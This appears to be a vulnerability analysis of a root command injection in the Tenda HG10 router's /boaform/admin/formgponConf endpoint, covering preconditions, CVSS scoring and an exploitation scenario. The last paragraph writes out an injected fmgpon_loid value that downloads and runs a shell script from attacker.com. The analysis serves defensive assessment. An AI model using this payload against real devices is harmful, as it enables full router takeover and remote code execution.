Tenda HG10 CVE-2026-86167

Exploitation requires the attacker to authenticate to the Boa-based admin web interface (PR:L per CVSS 4.0 vector), meaning valid administrative credentials for the Tenda HG10 management panel are a prerequisite. The vulnerable endpoint /boaform/admin/formgponConf must be reachable - it is accessible over the network (AV:N), so exposure depends on whether the admin interface is bound to WAN, LAN, or both. No special firmware option or feature flag beyond default GPON router configuration is required, as GPON OID configuration is a standard function of this device class. Exploitation is limited by: (1) requirement for valid admin credentials, and (2) network reachability to the Boa web server port. Admin credential compromise via default password, brute-force, or prior access is the realistic precondition.

The CVSS 4.0 base score of 8.6 (AV:N/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) signals high severity with both vulnerable-system and subsequent-system impacts rated high, reflecting full device compromise and potential lateral movement into the home/ISP network. PR:L indicates some level of authentication is required to reach the /boaform/admin/ path, which partially limits opportunistic internet-wide exploitation - unauthenticated mass scanning would be blocked without valid credentials. However, the public PoC on GitHub (E:P in the CVSS 4.0 supplemental metrics) substantially lowers the bar for exploitation by authenticated or credential-guessing attackers. No CISA KEV listing and no EPSS data are present in the input, suggesting limited confirmed in-the-wild exploitation at time of analysis. The primary real-world risk scenario is a compromised or default-credentialed admin account enabling full router takeover, which is realistic given that consumer/ISP GPON routers frequently ship with default credentials or expose the admin panel on the LAN/WAN side.

An attacker with access to the router's admin interface - either via default credentials, credential stuffing, or LAN-side access - sends an HTTP POST to /boaform/admin/formgponConf with a fmgpon_loid value containing shell metacharacters such as ; id; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s. The Boa handler passes this value directly to a system call without sanitization, executing the injected commands as root. A public PoC demonstrating this exact parameter injection exists on GitHub, reducing exploitation difficulty to script-kiddie level for any attacker who first obtains admin credentials.